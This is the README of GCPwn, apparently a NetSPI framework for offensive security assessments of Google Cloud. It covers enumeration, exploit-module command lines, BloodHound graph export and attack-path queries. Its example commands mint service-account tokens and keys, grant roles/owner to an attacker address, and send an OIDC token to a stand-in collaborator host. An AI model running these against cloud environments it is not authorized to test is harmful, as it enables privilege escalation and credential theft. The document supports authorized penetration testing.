

GCPwn
Table of Contents
Overview
In the spirit of transparency: parts of this project and documentation were developed with LLM coding assistance. Review code and behavior in your environment before operational use. Ideally the dependency summary at the end of the README and explanations throughout should be enough to meet and verify your operational needs.
GCPwn (G-C-pwn) is a Google Cloud offensive security assessment framework built for workspace-driven credential handling, service enumeration, artifact collection, and graph-based attack-path analysis. It also supports limited Google Workspace enumeration at this time.
It is designed as a one-stop shop for three primary workflows:
- Reconnaissance and Enumeration: Use success/fail API behavior trackedin the background, explicit
testIamPermissions calls, and IAM binding analysis to understand effective permissions from clear-box (probably a config audit) to opaque scenarios (finding creds during a pentest). Export data in JSON/CSV/Excel formats, download artifacts as they are found (for example, Artifact Registry Python packages), and run broad discovery with enum_all and download data throughout with the --download flag.
- Exploitation: Execute pre-packaged exploit workflows for blue-team validation and professional penetration-testing exercises.
- Graphing and OpenGraph: Convert collected data into OpenGraph output for BloodHound-style analysis (see below). By default, graphing focuses on selected privilege-escalation edges and can be expanded with more verbose output, inheritance evaluation, and multi-permission edge logic.
Disclaimer: Use this tool only in systems, projects, and environments you own or are explicitly authorized to assess. Unauthorized use may violate law, policy, or terms of service.
Documentation
Documentation is maintained in the GitHub Wiki:
Quick wiki links:
Additional project docs:
- Contributing:
CONTRIBUTING.md
- Roadmap:
ROADMAP.md
- License:
LICENSE
Installation TLDR
The installation strategy is to keep non-google dependencies minimal hopefully making it easier for you to get the tool approved if needed. xlsxwriter and prettytable are optional and can be installed only if you want those extra features, as shown below.
Option 1: Local Git Clone Install
git clone https://github.com/NetSPI/gcpwn.git
cd gcpwn
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
Base install (no optional table/excel dependencies):
pip install -r requirements.txt
Install optional table output support:
pip install prettytable==3.18.0
Install optional Excel export support:
pip install xlsxwriter==3.2.9
Run the tool:
python -m gcpwn
Option 2: Pip Install (PyPI)
pip3 install gcpwn
If you want optional table rendering (table std output option in configs) and/or Excel export support (data export excel option):
pip3 install "gcpwn[table]"
pip3 install "gcpwn[excel]"
pip3 install "gcpwn[table,excel]"
Run the tool:
gcpwn
If your shell cannot find gcpwn, run:
python -m gcpwn
Option 3: Release Download
Download a release binary from GitHub Releases:
Use the binary asset that aligns with your operating system and CPU architecture (for example, Linux/macOS/Windows and amd64 vs arm64).
Example (Linux/macOS):
chmod +x ./gcpwn
./gcpwn
Option 4: Docker
docker build -t gcpwn .
docker run --rm -it gcpwn
Build with optional extras (if you want table rendering and/or Excel export available in the container):
docker build --build-arg GCPWN_EXTRAS=table -t gcpwn .
docker build --build-arg GCPWN_EXTRAS=excel -t gcpwn .
docker build --build-arg GCPWN_EXTRAS=table,excel -t gcpwn .
If you want local persistence for DB/output between runs, mount volumes:
docker run --rm -it \
-v "$(pwd)/databases:/opt/gcpwn/databases" \
-v "$(pwd)/gcpwn_output:/opt/gcpwn/gcpwn_output" \
gcpwn
First-Run TLDR
- Create/select a workspace by starting the program using one of the commands in the Installation section above.
- Load credentials (user/service/OAuth token). If you are using
gcloud, you may need to run gcloud config set project <PROJECT_ID> when loading ADC-style credentials.
- Start with broad enumeration, ideally with ONE of the options below:
modules run enum_gcp
modules run enum_gcp --iam
modules run enum_gcp --iam --filter-enabled-services
modules run enum_gcp --iam --parallel-services 4
modules run enum_gcp --iam --filter-enabled-services --parallel-services 4
modules run enum_gcp --iam --download
modules run enum_gcp --iam --download metadata
modules run enum_gcp --iam --download buckets
modules run enum_gcp --iam --download cloudrun_revision_env
modules run enum_gcp --iam --download --dont-download buckets
modules run enum_gcp --iam --download --dont-download buckets,secrets
modules run enum_gcp --iam --download --download-timeout 120
modules run enum_gcp --iam --all-permissions
modules run enum_gcp --iam --all-permissions --download
modules run enum_gcp --modules storage,iam gke
modules run enum_gcp --iam --no-enum-resources
modules run enum_google_workspace --impersonate admin@yourdomain.com
modules run enum_all --iam --parallel-services 3
modules run enum_all --iam --parallel-services 3 --download-google-drive
- Review what was collected:
data export csv
data export json
data export excel
creds info
creds info --csv
modules run process_gcp_iam_bindings
modules run process_og_gcpwn_data --expand-inherited --reset --out output.json
modules run process_og_node_color_images \
--push-custom-node-attributes-url http://127.0.0.1:8080/api/v2/custom-nodes \
--push-custom-node-attributes-token <BLOODHOUND_BEARER_TOKEN>
Passthrough Mode TLDR
Passthrough mode runs a single module from the shell without dropping into the interactive workspace REPL — handy for CI, scripting, or one-off runs. There are two flavors:
- Unauthenticated — run a
unauth_* module with no credentials at all. This implicitly uses a workspace called PASSTHROUGH.
- Authenticated (drive-through) — run any module against a stored credential by naming the workspace and credential. That credential must already have been added to the workspace in a prior interactive session.
Examples:
gcpwn --module unauth_apikey_enum_all_scopes --api-key AIza...
python -m gcpwn --module unauth_bucketbrute --keyword acme --check
gcpwn --module enum_iam --workspace WORKSPACE_NAME --cred CRED_NAME --current-project
gcpwn --module enum_iam --workspace WORKSPACE_NAME --cred CRED_NAME --project-id my-project
gcpwn --module enum_gcp --workspace WORKSPACE_NAME --cred CRED_NAME --all-projects --parallel-services 3
Everything after the recognized flags is passed straight to the module, so -h and module-specific flags work in passthrough too. --workspace/--cred are what switch it from the unauthenticated path to the authenticated drive-through.
As in the first-run examples, --parallel-services N (accepted by enum_all/enum_gcp) enumerates GCP services concurrently across projects — default is 1 = sequential; set it higher to fan out. In drive-through it's resumable: if a run is interrupted, re-run the exact same command and completed (project, service) units are skipped.
Exploit Module TLDR
GCPwn ships a set of exploit modules organized into five categories. All modules share the same passthrough invocation pattern — --module <name> plus any module-specific flags. Pass -h to any module for the full flag list, or see the Exploit Module Reference wiki page for deep-dive examples, flag tables, and native gcloud equivalents.
Single-Permission Movement
These exploits require only one key permission to reach a target SA identity or elevate access. No iam.serviceAccounts.actAs needed.
modules run exploit_generate_access_token \
--target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL
modules run exploit_sign_jwt_as_sa \
--target-sa TARGET_SA_EMAIL
modules run exploit_service_account_keys \
--create \
--target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
--assume
modules run exploit_gcp_setiampolicy \
--service project \
--project-id PROJECT_ID \
--member user:attacker@example.com \
--role roles/owner
Multi-Permission Movement
These paths require two or more permissions. Two sub-patterns depending on what you get back:
Calling APIs as the Target SA
The service makes API calls authenticated as the target SA — you control what is called but never receive the token itself. Side-effect mutations only (IAM grants, key operations, etc.).
modules run exploit_cloudscheduler_job \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--cleanup
modules run exploit_cloudtasks_task_as_sa \
--target-sa TARGET_SA_EMAIL \
--action make-admin \
--cleanup
Getting an OAuth2 Token Directly
Set up Workload Identity Federation to exchange any trusted external identity token for a full OAuth2 access token for the target SA. The token comes back to you — no side-effect-only limitation.
modules run exploit_wif_impersonation \
--mode setup \
--target-sa TARGET_SA_EMAIL \
--provider-type google \
--restrict-to-caller
modules run exploit_wif_impersonation \
--mode exchange \
--target-sa TARGET_SA_EMAIL \
--pool-id POOL_ID \
--provider-id PROVIDER_ID \
--external-token OIDC_TOKEN \
--save-as-cred TARGET_SA_CRED
OIDC Access
These paths deliver a Google-signed OIDC identity token for the target SA — not an OAuth2 access token. Use for Cloud Run/IAP authentication, WIF exchange, or proving SA identity to third-party APIs.
modules run exploit_get_oidc_token \
--target-sa TARGET_SA_EMAIL \
--audience https://TARGET_CLOUD_RUN_URL
modules run exploit_apigateway_as_sa_oidc \
--target-sa TARGET_SA_EMAIL \
--exfil-url https://BURP_COLLABORATOR_HOST/apigw \
--cleanup
modules run exploit_apigateway_as_sa_oidc \
--oidc-token eyJhbGciOiJSUzI1NiJ9... \
--wif-provider projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID \
--save-as-cred wif-access-token
See the Exploit Module Reference for the full flag reference, native gcloud equivalents, example scenarios, and the complete table of released and coming-soon modules.
OpenGraph TLDR
By default, OpenGraph only graphs edges and related resource edges tied to privilege escalation paths. The default OpenGraph escalation-rule allowlist lives in gcpwn/mappings/og_defined_edges.json. Review the wiki for explanations of the available flags, but the best option is usually the following:
modules run process_og_gcpwn_data --expand-inherited --reset --out Bloodhound_Output.json
Graphing Strategy
OpenGraph module structure note:
- User-callable OpenGraph entry modules live under
gcpwn/modules/opengraph/enumeration/.
- OpenGraph processing implementations live under
gcpwn/modules/opengraph/processing/.
process_og_gcpwn_data is the primary graph generation/export module.
process_og_node_color_images is the dedicated utility module for pushing custom node color/icon metadata to BloodHound.
You might notice edges go to role@location instead of going directly to the project. This preserves authorization fidelity in the graph. If User A has compute.admin on Project A and User B has storage.admin on Project A, drawing both users directly to Project A and then Project A to all resources would incorrectly imply both users can reach the same resources when User A can only get to compute and User B can only get to storage. The correct model is to route each user through their specific role binding node at that location, and only then fan out to resources that role can actually affect.
Incorrect method (over-broad reach):
User A --> Project A --> Compute & Storage
User B --> Project A --> Compute & Storage
Correct method (binding-scoped reach):
User A --> compute_admin@project:A --> Compute Resources in Project A
User B --> storage_admin@project:A --> Storage Resources in Project A

Generate OpenGraph JSON:
modules run process_og_gcpwn_data --out opengraph_output.json --reset [--include-all] [--expand-inherited] [--cond-eval]
(<staging-project-2>:ABC)> modules run process_og_gcpwn_data --expand-inherited --reset --out my_output.json
[*] Step 1: users_groups (Users/Groups graph)
[*] Completed users_groups: +92 nodes, +0 edges
[*] Step 2: iam_bindings (IAM bindings graph)
[*] Completed iam_bindings: +109 nodes, +201 edges
[*] Step 3: inferred_permissions (Inferred permissions graph)
[*] Completed inferred_permissions: +2 nodes, +2 edges
[*] Step 4: resource_expansion (Resource expansion graph)
[*] Completed resource_expansion: +63 nodes, +62 edges
[*] Pruned isolated service-account IAM-binding islands (pairs=17, key_islands=5, nodes=50, edges=28).
[*] Pruned orphan implied-IAM-binding nodes (implied_bindings=2, nodes=2, edges=2).
[*] Pruned isolated service-account nodes (service_accounts=43, nodes=43, edges=0).
[*] OpenGraph generation complete. Nodes: 171 | Edges: 235
[*] Saved graph JSON to my_output.json
> head TEST.json -n 20
{
"metadata": {
"source_kind": "GCPBase"
},
"graph": {
"nodes": [
{
"id": "allUsers",
"kinds": [
"GCPAllUsers",
"GCPPrincipal"
],
"properties": {
"display_name": "allUsers",
"source": "iam_members"
}
},
{
"id": "combo_iambinding:RESET_COMPUTE_STARTUP_SA@project:<Project_ID>#06e0003fe1",
"kinds": [
[TRUNCATED]
For node color/icon customization in BloodHound, see OpenGraph Node Customize TLDR below.
Optional flags:
--include-all: include broader relationship output that might not be a direct privilege-escalation path (for example, a binding that exists but is not a direct avenue to escalate privileges).
--expand-inherited: expand inherited IAM scope relationships.
--cond-eval: currently preserves conditional workflow plumbing (placeholder behavior).
--reset: clear prior OpenGraph DB state before generation.
Then import the JSON into BloodHound CE.
Adding Your Own Edges TLDR
If you want to add your own privilege-escalation edge (or any edge) to be called out by default, edit og_defined_edges.json and add your rule. You need to know which permissions you want to flag. We cover adding a single-permission edge below, and the wiki covers multi-permission edge rules.
Add a Single-Permission Edge
Let's assume we want to call out cloudkms.cryptoKeys.update and add it to our default single-permission rules.
- Add to the permission --> role dictionary
- If your target permission (i.e.
cloudkms.cryptoKeys.update) is not already included, add the permission on a newline to scripts/build_predfined_perm_to_role_input.txt
- With your own GCP creds (for example, a free GCP account) in your own private GCP environment, run
./scripts/build_predefined_perm_to_roles.sh scripts/build_predfined_perm_to_role_input.txt > perm_to_role_mappings.json as an authenticated user. This script gets all permissions for all predefined roles in a GCP environment to show which roles map to your target permission. You can also add the mapping manually to gcpwn/mappings/og_permission_to_roles_map.json using https://docs.cloud.google.com/iam/docs/roles-permissions
- You should see the permission --> role(s) mapping in
perm_to_role_mappings.json. Replace gcpwn/mappings/og_permission_to_roles_map.json with content of perm_to_role_mappings.json
- Add a rule definition to
og_defined_edges.json (Note multi-permission rules are covered in the wiki). In our case, it might look like the entry below. Note resource_scopes_possible is where one might see a binding with those permissions, and resource_types are the actual resource nodes you will be drawing edges to. For example, you might see cloudkms.cryptoKeys.update attached to a project IAM binding or attached directly to a key IAM binding, but the final node in either case will be a key node and NOT a project per the reasoning stated above. If cloudkms.cryptoKeys.update is attached to a project IAm binding, gcpwn will fan out edges to key nodes discovered in that project rather than end at a project node.
"single_permission_rules": {
"CAN_DISABLE_KMS_KEY": {
"permission": "cloudkms.cryptoKeys.update",
"description": "Can update KMS crypto key settings including disabling or changing key behavior.",
"resource_scopes_possible": ["project", "kmscryptokey"],
"target_selector": {
"mode": "resource_types",
"resource_types": ["kmscryptokey"]
}
}
}
- A final OpenGraph edge might then look like the following when ingested in BloodHound
user:alice@example.com
-[HAS_IAM_BINDING]->
iambinding:roles/cloudkms.admin@project:my-project
-[CAN_DISABLE_KMS_KEY]->
resource:projects/my-project/locations/us-central1/keyRings/prod/cryptoKeys/app-key
OpenGraph Node Customize TLDR
Use this after importing graph JSON into BloodHound if you want the OpenGraph node colors/icons.
Direct flags:
modules run process_og_node_color_images \
--push-custom-node-attributes-url http://127.0.0.1:8080/api/v2/custom-nodes \
--custom-node-auth-mode signature \
--push-custom-node-attributes-token-id <TOKEN_ID> \
--push-custom-node-attributes-token-key <TOKEN_KEY>
Interactive:
(None:None)> modules run process_og_node_color_images
[*] No arguments supplied. Launching BloodHound custom-node sync setup.
[*] BloodHound custom-node URL (press Enter to use default: http://127.0.0.1:8080/api/v2/custom-nodes):
> Custom-node sync: choose auth mode
>> [1] Bearer JWT
>> [2] API key signature
> [3] Exit
> Choose an option: 2
> Choose a saved BloodHound API token or enter a new one:
>> [1] Saved Token ID: <TOKEN_ID> (http://127.0.0.1:8080/api/v2/custom-nodes)
>> [2] Enter a new API token ID/key
> [3] Exit
> Choose an option: 1
[*] custom-nodes sync complete: unchanged=46, updated=0, created=0
OpenGraph Cypher TLDR
These examples assume your OpenGraph JSON has already been imported into Neo4j/BloodHound-compatible tooling. Remove/alter LIMIT line as needed.
MATCH (n)-[r]->(m)
RETURN n, r, m
LIMIT 1000
- See all nodes and edges minus service-agent-associated data
MATCH (n)-[r]->(m)
WHERE coalesce(n.is_service_agent, false) = false
AND coalesce(m.is_service_agent, false) = false
AND coalesce(n.service_agent_role, false) = false
AND coalesce(m.service_agent_role, false) = false
RETURN n, r, m
LIMIT 1000
- See all nodes and edges where IAM edges are inferred only
MATCH (p)-[:HAS_IMPLIED_PERMISSIONS]->(g)-[r]->(t)
WHERE type(r) STARTS WITH "INFERRED_"
RETURN p, g, r, t
LIMIT 1000
- See all nodes and edges where IAM edges are binding-based only
MATCH (p)-[seed:HAS_IAM_BINDING|HAS_COMBO_BINDING]->(g)
OPTIONAL MATCH (g)-[r]->(t)
WHERE r IS NULL OR NOT type(r) STARTS WITH "INFERRED_"
RETURN p, seed, g, r, t
LIMIT 1000
- Find paths to
roles/owner or any custom role (replace ABC_Name)
MATCH p=(principal)-[:HAS_IAM_BINDING]->(binding:GCPIamSimpleBinding)
WHERE binding.role_name IN ["roles/owner", "ABC_Name"]
OPTIONAL MATCH (binding)-[r]->(target)
RETURN principal, binding, r, target, p
LIMIT 1000
- Identify paths where a service account leads to another service account
MATCH p=(sa1:GCPServiceAccount)-[*1..6]->(sa2)
WHERE (sa2:GCPServiceAccount OR sa2:GCPServiceAccountResource)
AND sa1 <> sa2
RETURN p
LIMIT 500
Text-Based Attack Path Analysis TLDR
If BloodHound is unavailable or the graph is too large to navigate visually, process_og_attack_paths runs PMapper-style text pathfinding directly over the exported OpenGraph JSON. Pass --graph-json pointing at your exported file or directory.
Find all principals that can reach roles/owner:
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --expanded
By default the output collapses binding and synthetic capability (CAP:) nodes into logical hops, with the role or permission combination each hop requires shown inline via (via ...):
[1 hop ] serviceAccount:gcpwn-poc-target@my-project
└─[CREATE_VERTEX_CUSTOM_JOB_AS_SA]─> serviceAccount:test-gcpwn@my-project (via roles/aiplatform.user@project:my-project + roles/iam.serviceAccountUser@service-account:test-gcpwn@my-project)
└─ holds roles/owner on organizations/123456789
Use --expanded to show every raw graph node and edge instead, including IAM binding nodes and synthetic capability (CAP:) nodes, so you can see exactly what each hop traverses:
[direct] serviceAccount:test-gcpwn@my-project
└─[HAS_IAM_BINDING]─> roles/owner@org:123456789 (holds roles/owner on organizations/123456789)
[1 hop ] serviceAccount:gcpwn-poc-target@my-project
└─[HAS_COMBO_BINDING]─> combo_iambinding:CREATE_VERTEX_CUSTOM_JOB_AS_SA@... (needs: roles/aiplatform.user@project:my-project + roles/iam.serviceAccountUser@service-account:test-gcpwn@my-project)
└─[CREATE_VERTEX_CUSTOM_JOB_AS_SA]─> CREATE_VERTEX_CUSTOM_JOB_AS_SA@...
└─[RunsAs]─> serviceAccount:test-gcpwn@my-project
└─[HAS_IAM_BINDING]─> roles/owner@org:123456789 (holds roles/owner on organizations/123456789)
[1 hop ] serviceAccount:dataflow-sa@my-project
└─[HAS_IAM_BINDING]─> roles/dataflow.serviceAgent@project:my-project (role roles/dataflow.serviceAgent on projects/my-project)
└─[CAN_CREATE_SA_ACCESS_TOKEN]─> serviceAccount:test-gcpwn@my-project
└─[HAS_IAM_BINDING]─> roles/owner@org:123456789 (holds roles/owner on organizations/123456789)
Other target selectors:
modules run process_og_attack_paths --graph-json output.json --to-sa target-sa@my-project.iam.gserviceaccount.com
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --from serviceAccount:attacker@my-project.iam.gserviceaccount.com
modules run process_og_attack_paths --graph-json output.json --from serviceAccount:attacker@my-project.iam.gserviceaccount.com --to-any --all-paths --summary
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --json --output paths.json
Scope and filter a query (common workflows):
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --at-scope projects/my-project
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --at-scope organizations/123456789 --exact-scope
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --no-direct
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --all-paths --summary
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --exclude-node break-glass-sa
modules run process_og_attack_paths --graph-json output.json --to-role roles/owner --exclude-service-agents
--all-paths enumerates every distinct route each principal has to a target. By default only the single shortest path per principal is shown, so a principal that can reach the target several different ways appears once (via its shortest route) and the other routes are hidden.
--at-scope accepts the project/folder/org id or number, with or without the projects//folders//organizations/ prefix (not the display name). When the target is a basic role (roles/owner/editor/viewer), the query also auto-includes bindings that can set that scope's IAM, since holding them is equivalent to granting yourself the role.
--exact-scope (only with --at-scope): match only targets whose own scope is exactly the one you named — not grants inherited down into its descendants. Without it, --at-scope is broader and also matches grants that apply inside the scope by inheritance. For example, --to-role roles/owner --at-scope organizations/123456789 --exact-scope finds owner on the organization itself, whereas dropping --exact-scope also includes owner inherited down into the org's folders and projects.
Module/Data Output TLDR
Module output format
Default output is text. You can switch workspace output format with:
configs list
configs set std_output_format text
configs set std_output_format table
table mode requires the optional dependency prettytable covered in the installation section above.
Data output and exports
# Export all collected service data to one CSV blob
data export csv
# Export all collected service data to one JSON blob
data export json
# Export all collected service data to one Excel workbook
data export excel
# Export all collected service data to a specific Excel file path
data export excel --out-file ./gcpwn_export.xlsx
# Export hierarchy image (SVG)
data export treeimage
# Run direct SQL against SQLite (service tables by default)
data sql --db service "SELECT * FROM iam_allow_policies LIMIT 25"
# Wipe service tables for current workspace (destructive; leaves creds/workspace intact)
data wipe-service --yes
Audit / Logging TLDR
GCPwn records what it does in a few places, so you can (a) reconstruct your own activity and (b) study the audit footprint your enumeration/downloads leave on the target. The main types:
1. Run history (on disk, automatic). Every module run is appended, timestamped, to a per-workspace log at gcpwn_output/<workspace>/tool_logs/history_log.txt — a [START_MODULE] / [END_MODULE] boundary per run (with the project id when it is per-project):
[2026-07-10 14:31:02] [START_MODULE] Entering enum_iam module for prod-project-123...
[2026-07-10 14:31:07] [END_MODULE] Exiting enum_iam module for prod-project-123...
[2026-07-10 14:31:07] [START_MODULE] Entering enum_cloudstorage module for prod-project-123...
[2026-07-10 14:31:44] [END_MODULE] Exiting enum_cloudstorage module for prod-project-123...
2. Console output lines. Live output is prefix-tagged so it is easy to skim or grep: [*] info, [!] warning, [X] error, [***] progress. Add -v / --debug for verbose detail:
[*] prod-project-123: 42 bucket(s), 3 externally/publicly exposed
[!] Download time budget (120s) reached for bucket acme-backups; skipping the rest and moving on.
[X] Module failed for project prod-project-123. Details below:
3. Content-download audit records ([DOWNLOAD]). Each file pulled to disk emits one greppable line — handy in a lab to correlate with the target's own Cloud/Drive audit logs. --throttle <seconds> paces the pulls so the pattern is deliberately observable for blue-team detection:
[DOWNLOAD] downloader=alice@corp.com file='q3-financials.xlsx' id=1AbC...xyz exposure=anyone_with_link owner=bob@corp.com bytes=48213 -> gcpwn_output/PROD/downloads/drive/alice@corp.com/q3-financials.xlsx
modules run enum_drive --all-users --download --throttle 2 | grep '^\[DOWNLOAD\]'
Scripts Folder TLDR
Scripts under scripts/ are included in this GitHub repository to support setup, customization, and development workflows.
They are not required for normal tool usage and are not part of the standard runtime path for the installed package.
Use them when you want to modify behavior, regenerate mapping data, or follow advanced project workflows.
For context, review the wiki and the OpenGraph instructions for adding an edge in this README.
Dependency Inventory
Direct runtime dependencies are sourced from requirements.txt (and loaded via pyproject.toml).
Core utilities
boto3>=1.43.45,<2 (includes botocore transitively)
pandas==3.0.3
requests==2.34.2
Google API and auth libraries
google-api-core==2.31.0
google-api-python-client==2.198.0
google-auth-httplib2==0.4.0
Google Cloud client libraries
- The 44
google-cloud-* service client libraries (roughly one per enumerated service) are pinned in requirements.txt — e.g. google-cloud-compute, google-cloud-storage, google-cloud-resource-manager, google-cloud-bigquery, google-cloud-secret-manager, google-cloud-iam, google-cloud-container, etc.
Vertex/GenAI support
prettytable==3.18.0 via pip install "gcpwn[table]"
xlsxwriter==3.2.9 via pip install "gcpwn[excel]"
pytest>=9.0 via pip install "gcpwn[dev]"
Release-build only dependency
pyinstaller==6.20.0 is used by .github/workflows/build_release.yml to package standalone executables for release artifacts.
- It is not required for normal runtime usage of GCPwn.
Tip: If you want an SBOM from GitHub, open this repository and go to Insights -> Dependency graph, then use Export SBOM.
Repository Layout
gcpwn/: main package root.
gcpwn/__main__.py: python -m gcpwn entrypoint.
gcpwn/cli/: command processor, workspace command handlers, and module dispatch.
gcpwn/core/: session/config/db/runtime/export primitives, plus the shared helpers in gcpwn/core/utils/ (enum framework, serialization, IAM, hierarchy, resume, etc.).
gcpwn/modules/: the module tree, grouped by domain:
gcpwn/modules/gcp/<service>/: GCP service modules (e.g. cloudstorage, cloudcompute, iam, bigquery), each with enumeration/, optional exploit/ / unauthenticated/, and utilities/ (the real API logic).
gcpwn/modules/workspace/: Google Workspace / Cloud Identity modules (Drive, directory, groups settings, data transfer) plus shared common.py (domain-wide-delegation + service builders).
gcpwn/modules/everything/: cross-cutting orchestrators — enum_all, enum_gcp, enum_google_workspace, enum_gcp_policy_bindings, exploit_gcp_setiampolicy, process_gcp_iam_bindings.
gcpwn/modules/opengraph/: BloodHound OpenGraph build/export (processing stages + graph helpers).
gcpwn/mappings/: static mapping/config data (module_mappings.json, database_info.json, service_locations.txt, og_*.json for IAM/escalation/service-agent data).
tests/: unit and module-contract tests.
databases/: a single SQLite database (gcpwn.db) holding workspaces, sessions, and service data (workspace deletes cascade to all of a workspace's rows).
Who Is This For?
- Pentesters: automate large portions of GCP recon and exploit-path discovery.
- Cloud security learners: quickly map APIs/resources and permission behavior.
- Security researchers: batch module execution + centralized data/action collection for deeper analysis/proxying.
Author, Contributors, and License
- Author: Scott (@WebbinRoot) via NetSPI
- License: BSD-3-Clause (
LICENSE)
- Contributors: PRs and issues welcome
Resources
Tool has changed in several ways and new videos are coming. For now, the following should provide a good resource:
Credits
Built on the shoulders of giants; inspiration, code, and/or supporting research included from: